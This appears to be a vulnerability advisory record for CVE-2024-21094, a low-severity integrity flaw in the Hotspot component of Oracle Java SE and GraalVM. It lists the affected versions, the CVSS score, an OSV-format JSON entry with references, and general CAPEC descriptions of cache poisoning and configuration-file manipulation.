Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot). Supported versions that are affected are Oracle Java SE: 8u401, 8u401-perf, 11.0.22, 17.0.10, 21.0.2, 22; Oracle GraalVM for JDK: 17.0.10, 21.0.2, 22; Oracle GraalVM Enterprise Edition: 20.3.13 and 21.3.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).
Severity
{
"affected": [],
"aliases": [
"CVE-2024-21094"
],
"database_specific": {
"cwe_ids": [
"CWE-349"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-16T22:15:29Z",
"severity": "LOW"
},
"details": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot). Supported versions that are affected are Oracle Java SE: 8u401, 8u401-perf, 11.0.22, 17.0.10, 21.0.2, 22; Oracle GraalVM for JDK: 17.0.10, 21.0.2, 22; Oracle GraalVM Enterprise Edition: 20.3.13 and 21.3.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).",
"id": "GHSA-g3wm-f7gr-3fwh",
"modified": "2024-04-26T09:30:34Z",
"published": "2024-04-17T00:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21094"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00014.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240426-0004"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2024.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.